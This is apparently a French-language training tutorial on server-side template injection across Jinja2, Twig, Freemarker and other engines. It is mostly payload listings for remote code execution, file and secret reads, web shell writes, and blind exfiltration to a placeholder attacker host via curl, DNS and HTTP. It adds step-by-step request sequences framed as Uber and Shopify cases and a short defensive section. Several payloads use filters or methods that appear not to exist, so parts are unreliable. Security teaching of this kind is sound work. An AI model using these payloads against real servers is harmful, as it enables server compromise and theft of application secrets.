Injection de modèle côté serveur
Transformez les moteurs de templates en vecteurs d'exécution de code à distance
Ce que vous allez découvrir
🎯 Pourquoi c'est important
L'injection de modèle côté serveur représente l'une des vulnérabilités les plus dévastatrices mais souvent négligées dans les applications web modernes. Les moteurs de templates sont omniprésents dans le développement web, alimentant tout, du rendu de contenu simple à la logique métier complexe dans des frameworks comme Django, Flask, Symfony et Spring Boot. Lorsque l'entrée utilisateur atteint le traitement des templates sans assainissement approprié, les attaquants peuvent exécuter du code arbitraire sur le serveur avec les mêmes privilèges que l'application web.
🔍 Ce que vous allez apprendre
Vous maîtriserez l'approche systématique pour identifier et exploiter les vulnérabilités SSTI sur différents moteurs de templates incluant Jinja2, Twig, Freemarker, Handlebars et Smarty. Cela comprend la compréhension de l'exploitation de la syntaxe des templates, les payloads polyglottes fonctionnant sur plusieurs moteurs, les techniques de détection SSTI aveugle et les méthodes avancées pour contourner la validation des entrées et les mécanismes de sandboxing.
🚀 Votre première victoire
Dans les 20 prochaines minutes, vous exploiterez avec succès une vulnérabilité SSTI pour obtenir l'exécution de code à distance sur une application web, démontrant comment un rendu de template apparemment innocent peut être transformé en vecteur de compromission complète du serveur.
🔧 Essayez ceci maintenant
Testez la détection SSTI de base sur plusieurs moteurs de templates
# Payloads de détection SSTI de base
# Fonctionnent sur plusieurs moteurs de templates
# Évaluation d'expressions mathématiques
${{7*7}} # Jinja2, Twig
${7*7} # Freemarker, Velocity
{{7*7}} # Handlebars, Mustache
{7*7} # Smarty
# Payload polyglotte pour détection large
${{7*'7'}} ${7*'7'} {{7*'7'}} {7*'7'}
# Fingerprinting du moteur de templates
{{7*'7'}} # Jinja2 → "7777777"
${7*'7'} # Freemarker → "7777777"
{{7*'7'}} # Handlebars → "7*7" (pas d'évaluation)
{7*'7'} # Smarty → "7777777"
# Détection avancée avec fonctions intégrées
{{config}} # Objet config Jinja2
${.now} # Heure actuelle Freemarker
{{this}} # Contexte Handlebars
{$smarty.version} # Info version Smarty
# Test d'accès au système de fichiers
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} # Jinja2
${"freemarker.template.utility.Execute"?new()('cat /etc/passwd')} # Freemarker
Vous verrez : Comment différents moteurs de templates traitent et évaluent les expressions, vous permettant d'identifier les vulnérabilités SSTI et de déterminer le moteur de templates spécifique utilisé pour une exploitation ciblée.
Compétences que vous maîtriserez
✅ Compréhension fondamentale
- Fondamentaux des moteurs de templates et exploitation de la syntaxe
- Détection SSTI et fingerprinting des moteurs de templates
- Création de payloads polyglottes pour plusieurs moteurs
- Introspection d'objets et techniques de découverte de méthodes
🔍 Compétences expertes
- Méthodes d'évasion de sandbox et contournement de sécurité
- Exploitation SSTI aveugle et techniques hors bande
- Construction de chaînes RCE spécifiques aux moteurs de templates
- Évaluation des vulnérabilités spécifiques aux frameworks
Comprendre l'injection de modèle côté serveur
SSTI se produit lorsque l'entrée utilisateur est intégrée directement dans le code du template au lieu d'être passée comme données
Les vulnérabilités d'injection de modèle côté serveur proviennent d'une incompréhension fondamentale du fonctionnement des moteurs de templates. Les moteurs de templates sont conçus pour séparer la logique de présentation des données, mais lorsque l'entrée utilisateur devient partie du template lui-même plutôt que d'être traitée comme des données, les attaquants peuvent injecter du code de template malveillant qui est exécuté sur le serveur.
Comment les moteurs de templates créent des surfaces d'attaque vulnérables
Les moteurs de templates fournissent des fonctionnalités puissantes pour les développeurs web incluant l'interpolation de variables, la logique conditionnelle, les boucles, les filtres et l'accès aux fonctions et objets intégrés. Ces fonctionnalités sont conçues pour faciliter la génération de contenu dynamique, mais elles créent également des risques de sécurité significatifs lorsque l'entrée utilisateur est traitée comme du code de template.
La distinction critique est entre traiter l'entrée utilisateur comme des données versus du code de template.
Les implémentations sécurisées passent l'entrée utilisateur comme variables de template :
render_template('welcome.html', username=user_input)
. Les implémentations vulnérables concatènent l'entrée utilisateur directement dans les chaînes de template :
template = "Hello " + user_input + "!"; render_template_string(template)
.
Ce qui rend SSTI particulièrement dangereux est que les moteurs de templates ont souvent accès à des fonctionnalités puissantes incluant les opérations sur le système de fichiers, les capacités réseau et la capacité d'instancier des objets arbitraires. Les moteurs de templates modernes peuvent implémenter le sandboxing, mais ces protections sont fréquemment contournables par l'utilisation créative de la réflexion, de l'héritage et des fonctions intégrées.
La complexité des fonctionnalités des moteurs de templates crée une vaste surface d'attaque. Chaque moteur a sa propre syntaxe, ses objets intégrés et ses mécanismes de sécurité, nécessitant que les attaquants comprennent les techniques d'exploitation spécifiques à chaque moteur. Cependant, le principe fondamental reste le même : exploiter les fonctionnalités des templates pour obtenir l'exécution de code au-delà de la portée prévue.
Pourquoi SSTI est critique dans le développement web moderne
Les moteurs de templates sont des composants fondamentaux des frameworks web modernes incluant Django (Django Template Language), Flask (Jinja2), Symfony (Twig), Spring Boot (Thymeleaf/Freemarker), Express.js (Handlebars) et bien d'autres. Documentation Flask , Documentation Symfony , Documentation Spring Boot À mesure que les applications web deviennent plus dynamiques et orientées utilisateur, la tentation de permettre la personnalisation des templates par les utilisateurs ou la génération dynamique de templates augmente.
Les modèles vulnérables courants incluent la personnalisation des templates d'email, la génération de rapports avec formatage défini par l'utilisateur, les systèmes de gestion de contenu avec thèmes personnalisés et les applications permettant aux utilisateurs de créer des pages ou widgets personnalisés. Chacun de ces éléments représente un vecteur d'attaque SSTI potentiel où l'entrée utilisateur peut atteindre le traitement des templates.
Le passage vers les architectures CMS headless, les générateurs de sites statiques et les API basées sur les templates a élargi la surface d'attaque pour les vulnérabilités SSTI. De nombreux développeurs ignorent les implications de sécurité de la génération dynamique de templates, conduisant à des implémentations vulnérables répandues dans les applications legacy et modernes.
Contextes vulnérables courants
Où SSTI se produit généralement
Personnalisation de templates d'email
Génération de rapports avec formatage utilisateur
Thèmes CMS et pages personnalisées
Rendu de contenu dynamique
Personnalisation de profil utilisateur
Constructeurs de campagnes marketing
Types de moteurs de templates
Moteurs populaires et leur syntaxe
Jinja2 (Python): {{expression}}
Twig (PHP): {{expression}}
Freemarker (Java): ${expression}
Handlebars (Node.js): {{expression}}
Smarty (PHP): {expression}
Thymeleaf (Java): ${expression}
Capacités d'exploitation
Ce que les attaquants peuvent accomplir
Exécution de code à distance
Accès au système de fichiers
Divulgation des variables d'environnement
Accès au code source de l'application
Extraction des identifiants de base de données
Reconnaissance du réseau interne
Outils et techniques
L'exploitation SSTI réussie nécessite la compréhension de la syntaxe des moteurs de templates, des capacités d'introspection d'objets et des approches systématiques pour contourner les restrictions de sécurité. Vous apprendrez les techniques méthodiques que les experts en sécurité utilisent pour identifier, fingerprinter et exploiter les vulnérabilités d'injection de templates sur différents moteurs et frameworks.
La méthodologie d'exploitation SSTI
Les experts en sécurité suivent une approche systématique pour les tests SSTI qui progresse de la détection à l'identification du moteur jusqu'à l'exploitation. Cette méthodologie assure une couverture complète et maximise les chances d'exploitation réussie même face aux mécanismes de filtrage d'entrées ou de sandboxing.
Étape 1 : Détection d'injection de template - Testez les champs d'entrée avec des expressions mathématiques et une syntaxe spécifique aux templates pour identifier les points d'injection potentiels et confirmer le traitement des templates.
Étape 2 : Fingerprinting du moteur de templates - Utilisez la syntaxe spécifique au moteur et les modèles d'erreurs pour identifier le moteur de templates exact et la version utilisée.
Étape 3 : Analyse du contexte - Déterminez le contexte du template, les objets disponibles et tout mécanisme de filtrage ou sandboxing en place.
Étape 4 : Développement de l'exploitation - Créez des payloads spécifiques au moteur pour obtenir l'exécution de code, l'accès aux fichiers ou d'autres objectifs tout en contournant les restrictions de sécurité.
Étape 5 : Évaluation de l'impact - Démontrez l'étendue complète de la compromission du serveur possible via la vulnérabilité d'injection de template.
Injection de template Jinja2
Jinja2 est un moteur de templates populaire dans les applications web Python, principalement utilisé par Flask et d'autres frameworks Python. Comprendre l'exploitation Jinja2 fournit les fondations pour les attaques SSTI contre les applications basées sur Python et démontre les principes fondamentaux applicables aux autres moteurs de templates.
Exploitation Jinja2 de base
Jinja2 fournit des capacités d'introspection puissantes via le modèle objet Python. En exploitant l'ordre de résolution des méthodes (MRO) et l'énumération des sous-classes, les attaquants peuvent accéder aux fonctions dangereuses et obtenir l'exécution de code même lorsque l'accès direct aux fonctions intégrées est restreint.
# Détection et fingerprinting de base
{{7*7}} # Retourne : 49
{{7*'7'}} # Retourne : 7777777
{{config}} # Objet config Flask
{{self}} # Contexte du template
# Introspection d'objets pour l'exécution de code
{{''.__class__}} # <class 'str'>
{{''.__class__.__mro__}} # Ordre de résolution des méthodes
{{''.__class__.__mro__[1]}} # <class 'object'>
{{''.__class__.__mro__[1].__subclasses__()}} # Toutes les sous-classes d'object
# Trouver des sous-classes utiles
{% for i in range(500) %}
{% if ''.__class__.__mro__[1].__subclasses__()[i].__name__ == 'Popen' %}
Index: {{i}}
{% endif %}
{% endfor %}
# Exécution de code via l'objet config (Flask)
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{config.__class__.__init__.__globals__['os'].system('id')}}
# Alternative : Accès via les globals url_for
{{url_for.__globals__['os'].popen('cat /etc/passwd').read()}}
{{get_flashed_messages.__globals__['os'].system('whoami')}}
# Accès au système de fichiers via les built-ins
{{config.__class__.__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{lipsum.__globals__['os'].popen('cat app.py').read()}}
# Accès aux variables d'environnement
{{config.__class__.__init__.__globals__['os'].environ}}
# Introspection de l'application Flask
{{config.SECRET_KEY}} # Clé secrète Flask
{{url_for.__globals__}} # Globals Flask
{{get_flashed_messages.__globals__}} # Plus d'internes Flask
L'exploitation Jinja2 repose fortement sur les capacités introspectives de Python. Les indices exacts des sous-classes peuvent varier entre les versions Python, donc l'énumération est souvent nécessaire pour trouver les bonnes classes.
Injection de template Twig
Twig est le moteur de templates principal du framework Symfony PHP et est largement utilisé dans les applications PHP. L'exploitation Twig exploite les capacités de réflexion de PHP et les fonctionnalités orientées objet pour obtenir l'exécution de code et l'accès au système de fichiers.
Techniques d'exploitation Twig
# Détection et fingerprinting de base
{{7*7}} # Retourne : 49
{{7*'7'}} # Retourne : 7777777
{{dump(app)}} # Objet application Symfony
# Introspection d'objets et découverte de méthodes
{{_self}} # Objet template
{{_self.getTemplateName()}} # Nom du template actuel
{{_context}} # Variables de contexte du template
# Accès au système de fichiers via abus de filtres
{{'/etc/passwd'|file_excerpt(1,30)}} # Lire lignes 1-30 du fichier
{{'<?php system($_GET["cmd"]); ?>'|file_put_contents('shell.php')}} # Écrire web shell
# Exécution de code via chaînage de filtres
{{'id'|filter('system')}} # Exécuter commande système
{{'cat /etc/passwd'|filter('shell_exec')}} # Exécution de commande shell
# Accès environnement et configuration
{{app.getKernel().getContainer().getParameter('kernel.secret')}} # Secret Symfony
{{app.getKernel().getContainer().getParameter('database_url')}} # Config base de données
# Instanciation de classe pour exécution de code
{{_self.env.getExtension('Symfony\\Bridge\\Twig\\Extension\\CodeExtension').abortUnless(false, 'system("whoami")')}}
# Méthodes d'exécution alternatives
{{_self.env.getFilter('map').getCallable()('system', ['id'])}}
{{['id']|map('system')|join}}
# Inclusion de fichiers et manipulation de templates
{{include('/etc/passwd')}} # Inclure fichiers arbitraires
{{source('/proc/self/environ')}} # Lire variables d'environnement
# Contourner les restrictions de sécurité
{{(app.request.server.get('DOCUMENT_ROOT')~'/shell.php')|file_put_contents('<?php system($_GET["c"]); ?>')}}
L'exploitation Twig repose souvent sur les filtres et fonctions intégrés. Les méthodes disponibles dépendent de la version Twig et des extensions configurées, donc la reconnaissance est importante pour une exploitation réussie.
Injection de template Freemarker
Apache Freemarker est couramment utilisé dans les applications Java, particulièrement avec Spring Boot. L'exploitation Freemarker exploite les capacités de réflexion de Java et les objets intégrés pour obtenir l'exécution de code et accéder aux données sensibles de l'application.
Méthodes d'exploitation Freemarker
# Détection et fingerprinting de base
${7*7} # Retourne : 49
${7*"7"} # Retourne : 7777777
${.now} # Timestamp actuel
${.version} # Version Freemarker
# Instanciation d'objets pour exécution de code
${"freemarker.template.utility.Execute"?new()}
${"freemarker.template.utility.Execute"?new()("whoami")}
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
# Exécution alternative via ObjectConstructor
${"freemarker.template.utility.ObjectConstructor"?new()."java.lang.ProcessBuilder"(["id"]).start()}
# Accès au système de fichiers
${"java.io.FileReader"?new("/etc/passwd")}
${"java.nio.file.Files"?new().readAllLines("java.nio.file.Paths"?new().get("/etc/passwd"))}
# Exploitation spécifique Spring Boot
${"org.springframework.util.StreamUtils"?new().copyToString("java.io.FileInputStream"?new("/etc/passwd"),"java.nio.charset.Charset"?new().forName("UTF-8"))}
# Accès environnement et propriétés système
${"java.lang.System"?new().getProperty("user.home")}
${"java.lang.System"?new().getenv()}
# Abus ClassLoader et réflexion
${"java.lang.Class"?new().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("id")}
# Fonctions dangereuses intégrées
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /proc/version")}
# Accès au contexte d'application Spring
${"@org.springframework.web.context.support.WebApplicationContextUtils@getRequiredWebApplicationContext(servletContext)"}
# Contourner le sandboxing avec la réflexion
${"java.lang.Class"?new().forName("freemarker.core.Environment").getDeclaredField("configuration").get(.current_template_name).getSharedVariable("execute")("whoami")}
L'exploitation Freemarker est puissante grâce aux capacités de réflexion de Java. Cependant, les versions plus récentes implémentent un sandboxing plus fort qui peut nécessiter des techniques de contournement plus sophistiquées.
Détection et exploitation SSTI aveugle
Lorsque la sortie du template n'est pas directement visible, les techniques SSTI aveugles permettent la confirmation des vulnérabilités et l'exfiltration de données par des méthodes de canal auxiliaire. Ces techniques sont essentielles pour tester les applications de production où les résultats du rendu des templates peuvent ne pas être immédiatement apparents.
SSTI aveugle basé sur le temps
# Payloads de délai temporel pour différents moteurs
# Délais temporels Jinja2
{% for i in range(10000000) %}{% endfor %}
{{config.__class__.__init__.__globals__['time'].sleep(5)}}
# Délais temporels Twig
{% for i in 0..10000000 %}{% endfor %}
{{'sleep 5'|filter('system')}}
# Délais temporels Freemarker
<#list 1..10000000 as i></#list>
${"java.lang.Thread"?new().sleep(5000)}
# Délais temporels Handlebars (Node.js)
{{#each (range 1 10000000)}}{{/each}}
# Délais temporels conditionnels pour extraction de données
# Délai conditionnel Jinja2
{% if config.SECRET_KEY[0] == 'a' %}
{% for i in range(10000000) %}{% endfor %}
{% endif %}
# Extraire données caractère par caractère
{% if config.__class__.__init__.__globals__['__builtins__']['open']('/etc/passwd').read()[0] == 'r' %}
{{config.__class__.__init__.__globals__['time'].sleep(3)}}
{% endif %}
SSTI aveugle hors bande
# Exfiltration de données basée sur HTTP
# Exfiltration HTTP Jinja2 via config
{{config.__class__.__init__.__globals__['urllib'].request.urlopen('http://<attacker>/collect?data='+''.join([hex(ord(c))[2:] for c in config.SECRET_KEY]))}}
# Exfiltration basée sur curl
{{config.__class__.__init__.__globals__['os'].popen('curl http://<attacker>/ssti?data=$(whoami | base64)').read()}}
# Exfiltration basée sur DNS
{{config.__class__.__init__.__globals__['os'].popen('nslookup ' + config.SECRET_KEY + '.<attacker>').read()}}
# Exfiltration HTTP Twig
{{'curl -X POST -d "' ~ app.getKernel().getContainer().getParameter('kernel.secret') ~ '" http://<attacker>/collect'|filter('system')}}
# Exfiltration HTTP Freemarker
${"java.net.URL"?new("http://<attacker>/collect?data=" + "java.lang.System"?new().getProperty("user.name")).openConnection().getInputStream()}
# Confirmation basée sur fichier
# Écriture de fichier Jinja2
{{config.__class__.__init__.__globals__['__builtins__']['open']('/tmp/ssti-' + config.SECRET_KEY[:10], 'w').write('SSTI Confirmed')}}
# Divulgation d'informations basée sur erreur
{{this_variable_does_not_exist}} # Déclencher erreur avec info contexte
{{config.undefinedmethod()}} # Erreur méthode avec contexte config
Les techniques hors bande sont cruciales pour démontrer l'impact SSTI lorsque l'observation directe de la sortie n'est pas possible. Ces méthodes fournissent une preuve définitive de l'exécution de code de template.
Scénarios d'attaque réels
Ces vulnérabilités SSTI documentées démontrent comment les failles d'injection de templates ont été exploitées dans des applications réelles, montrant l'approche systématique qui conduit à des compromissions de sécurité significatives et la nature répandue des vulnérabilités d'injection de templates sur différentes plateformes.
RCE Uber via SSTI Jinja2 (2016)
Le chercheur en sécurité Orange Tsai a découvert une vulnérabilité SSTI critique dans les outils internes d'Uber permettant l'exécution de code à distance via l'injection de template Jinja2. La vulnérabilité a été trouvée dans une application Flask qui traitait l'entrée utilisateur directement dans le rendu des templates, permettant une compromission complète du serveur via l'évaluation d'expressions mathématiques et l'introspection d'objets Python. Source : Blog Orange Tsai
# Exploitation SSTI des outils internes Uber
# Injection de template Jinja2 dans le traitement du champ nom
# Étape 1 : Détection SSTI initiale
# Test d'expressions mathématiques dans l'entrée utilisateur
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
name={{7*7}}
# La réponse affiche : "Hello 49" confirmant le traitement du template
# Étape 2 : Fingerprinting du moteur de templates
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
name={{7*'7'}}
# La réponse montre : "Hello 7777777" confirmant Jinja2
# Étape 3 : Introspection d'objets Python
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
name={{''.__class__.__mro__[1].__subclasses__()}}
# Énumérer les sous-classes Python disponibles
# Étape 4 : Exécution de code à distance
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
name={{''.__class__.__mro__[1].__subclasses__()[242]('id', shell=True, stdout=-1).communicate()[0]}}
# Exécuter des commandes système via subprocess.Popen
# Étape 5 : Accès à la configuration de l'application
POST /update_name HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
name={{config.SECRET_KEY}}
# Accéder aux secrets et à la configuration de l'application Flask
Impact : Cette vulnérabilité permettait une compromission complète du serveur via la personnalisation du profil utilisateur. La recherche a démontré comment SSTI peut fournir un accès immédiat à la configuration de l'application et aux fichiers système, soulignant l'importance critique de la validation appropriée des entrées dans le traitement des templates et les fonctionnalités de contenu personnalisable par l'utilisateur.
SSTI Handlebars du tableau de bord partenaire Shopify (2019)
Le tableau de bord partenaire de Shopify a connu une vulnérabilité SSTI dans sa fonctionnalité de personnalisation des templates d'email utilisant le moteur de templates Handlebars. Les chercheurs en sécurité ont identifié que l'entrée contrôlée par l'utilisateur dans les templates d'email était traitée sans assainissement approprié, permettant une injection de template pouvant conduire à l'accès aux données sensibles des marchands. La vulnérabilité a été divulguée de manière responsable et rapidement corrigée par l'équipe de sécurité de Shopify. Source : Rapport HackerOne
# Exploitation SSTI du tableau de bord partenaire Shopify
# Injection de template Handlebars dans la personnalisation des emails
# Étape 1 : Accéder à l'éditeur de templates d'email
# Naviguer vers les templates d'email du tableau de bord partenaire
GET /partners/email_templates/new HTTP/1.1
Host: partners.shopify.com
Cookie: [authenticated_session]
# Étape 2 : Détection d'injection de template
# Test d'évaluation d'expressions Handlebars
POST /partners/email_templates HTTP/1.1
Host: partners.shopify.com
Content-Type: application/json
{"template": "Hello {{7*7}}"}
# Réponse : L'aperçu email montre "Hello 49"
# Étape 3 : Exploration du contexte
# Découverte des variables de template disponibles
POST /partners/email_templates HTTP/1.1
Host: partners.shopify.com
Content-Type: application/json
{"template": "{{this}}"}
# La réponse révèle le contexte du template et les objets disponibles
# Étape 4 : Accès aux données sensibles
# Accès aux informations marchands via le contexte du template
POST /partners/email_templates HTTP/1.1
Host: partners.shopify.com
Content-Type: application/json
{"template": "{{merchant.api_key}}"}
# Accès potentiel aux identifiants API des marchands
# Étape 5 : Abus des fonctions helper
# Exploitation des helpers Handlebars pour l'exécution de code
POST /partners/email_templates HTTP/1.1
Host: partners.shopify.com
Content-Type: application/json
{"template": "{{#with this}}{{lookup ../this 'constructor'}}{{/with}}"}
# Tentative de pollution de prototype ou manipulation d'objet
Impact : Cette vulnérabilité a mis en évidence les risques d'injection de templates dans les plateformes marchandes, où l'accès aux données commerciales sensibles pourrait compromettre plusieurs parties. Shopify a implémenté un assainissement strict des entrées et un sandboxing des templates pour prévenir des problèmes similaires.
Modèles d'attaque SSTI courants
La recherche en sécurité et les vulnérabilités divulguées révèlent des modèles cohérents dans la façon dont les vulnérabilités SSTI apparaissent dans différentes applications et plateformes. Comprendre ces modèles aide les équipes de sécurité à identifier les points d'injection potentiels et à implémenter des protections appropriées pendant les phases de développement et de test.
# Modèles d'implémentation vulnérables courants
# Basés sur l'analyse des vulnérabilités SSTI divulguées
# Modèle 1 : Personnalisation de templates d'email
# Plateformes e-commerce et marketing couramment vulnérables
# Entrée utilisateur concaténée directement dans les templates d'email
def send_custom_email(user_input, customer_data):
# VULNÉRABLE : Concaténation directe de template
template = f"Hello {user_input}, welcome to our store!"
return render_template_string(template, customer=customer_data)
# Modèle 2 : Génération de rapports avec formatage utilisateur
# Outils d'intelligence d'affaires et d'analytique
# Templates définis par l'utilisateur pour la présentation des données
def generate_report(template_content, report_data):
# VULNÉRABLE : Contenu de template utilisateur traité directement
template = Template(template_content)
return template.render(data=report_data)
# Modèle 3 : Gestion de contenu et profils utilisateurs
# Plateformes sociales et CMS permettant du contenu personnalisé
# Bios de profil, signatures et pages personnalisées
def update_user_bio(bio_content, user_id):
# VULNÉRABLE : Contenu bio traité comme template
template = f"<div class='bio'>{{{{ {bio_content} }}}}</div>"
return render_template_string(template, user=get_user(user_id))
# Modèle 4 : Constructeurs de thèmes et templates dynamiques
# Constructeurs de sites web et outils de personnalisation de thèmes
# Templates et thèmes créés par l'utilisateur
def save_custom_theme(theme_template, theme_vars):
# VULNÉRABLE : Template de thème traité sans validation
return render_template_string(theme_template, **theme_vars)
# Modèle 5 : Pages de configuration et paramètres
# Panneaux d'administration avec messages personnalisables
# Notifications système et templates d'alerte
def save_notification_template(template, notification_data):
# VULNÉRABLE : Template fourni par l'admin traité directement
return render_template_string(template, **notification_data)
Thèmes communs : La plupart des vulnérabilités SSTI réelles se produisent dans des fonctionnalités permettant la personnalisation par l'utilisateur des templates de contenu, incluant les systèmes d'email, les générateurs de rapports, les interfaces de gestion de contenu et les constructeurs de thèmes. Ces modèles soulignent le besoin d'une validation soigneuse des entrées et de pratiques de rendu de templates sécurisées dans les fonctionnalités de personnalisation destinées aux utilisateurs.
Contre-mesures défensives
Protéger les applications contre l'injection de modèle côté serveur nécessite l'implémentation de pratiques de templates sécurisées, une validation appropriée des entrées et des mécanismes de sandboxing robustes. Ces stratégies éprouvées fournissent une protection complète contre les attaques d'injection de templates tout en maintenant la flexibilité et la fonctionnalité qui rendent les moteurs de templates précieux pour le développement web.
Défense principale : séparer le code de template des données utilisateur
La protection la plus efficace contre SSTI est de s'assurer que l'entrée utilisateur n'est jamais traitée comme du code de template. Ce principe fondamental nécessite une séparation architecturale claire entre la logique de template et les données fournies par l'utilisateur, empêchant l'entrée utilisateur d'être interprétée comme syntaxe de template exécutable.
- Utilisez des templates paramétrés - Passez toujours l'entrée utilisateur comme variables de template plutôt que de concaténer dans les chaînes de template
- Évitez la génération dynamique de templates - Ne construisez jamais de code de template en utilisant l'entrée utilisateur ou ne permettez pas aux utilisateurs de modifier la syntaxe des templates
- Précompilation des templates - Utilisez des fichiers de template statiques compilés au moment du build plutôt que le traitement de chaînes de template à l'exécution
- Validation et assainissement des entrées - Implémentez une validation stricte pour toute entrée utilisateur pouvant atteindre le traitement des templates
- Sandboxing du moteur de templates - Activez et configurez correctement les restrictions de sécurité fournies par les moteurs de templates
Pratiques d'implémentation de templates sécurisées
Lorsque la fonctionnalité de template doit inclure des éléments personnalisables par l'utilisateur, implémentez plusieurs couches de contrôles de sécurité qui limitent les capacités des templates et restreignent l'accès aux fonctions et objets dangereux.
- Contexte de template restreint - Ne fournissez que les variables et fonctions nécessaires au contexte d'exécution du template
- Liste blanche de fonctions - N'autorisez que des fonctions et filtres sûrs et prédéfinis dans le traitement des templates
- Restrictions d'accès aux objets - Empêchez l'accès aux capacités de réflexion, aux fonctions du système de fichiers et aux objets système
- Validation de la syntaxe des templates - Validez les éléments de template fournis par l'utilisateur contre des règles de syntaxe strictes
- Isolation de l'environnement d'exécution - Exécutez le traitement des templates dans des environnements restreints avec un accès système limité
Stratégies de protection avancées
Une protection SSTI complète nécessite plusieurs couches défensives qui traitent à la fois les attaques d'injection de templates directes et les tentatives de contournement sophistiquées ciblant les mécanismes de sécurité des moteurs de templates.
- Implémentation de Content Security Policy - Utilisez les en-têtes CSP pour limiter l'impact d'une injection de template réussie
- Surveillance au niveau applicatif - Implémentez la détection des modèles de traitement de templates suspects et des conditions d'erreur
- Mises à jour de sécurité régulières - Maintenez les moteurs de templates à jour pour traiter les vulnérabilités connues et les améliorations de sécurité
- Revue de code et tests - Examinez systématiquement les modèles d'utilisation des templates et testez les vulnérabilités d'injection
- Principe du moindre privilège - Exécutez les applications avec les permissions minimales nécessaires pour la fonctionnalité de template légitime
- Contrôles de sortie réseau - Restreignez l'accès réseau sortant pour empêcher l'exfiltration de données via l'injection de template
🎯 Vous maîtrisez l'injection de templates !
Vous comprenez maintenant comment exploiter les moteurs de templates sur plusieurs plateformes pour obtenir l'exécution de code à distance et accéder aux données sensibles des applications. Vous pouvez identifier les vulnérabilités SSTI via des tests systématiques, fingerprinter différents moteurs de templates et créer des payloads ciblés qui contournent les restrictions de sécurité pour démontrer une compromission complète de l'application.
Prêt à dominer la sécurité des applications web modernes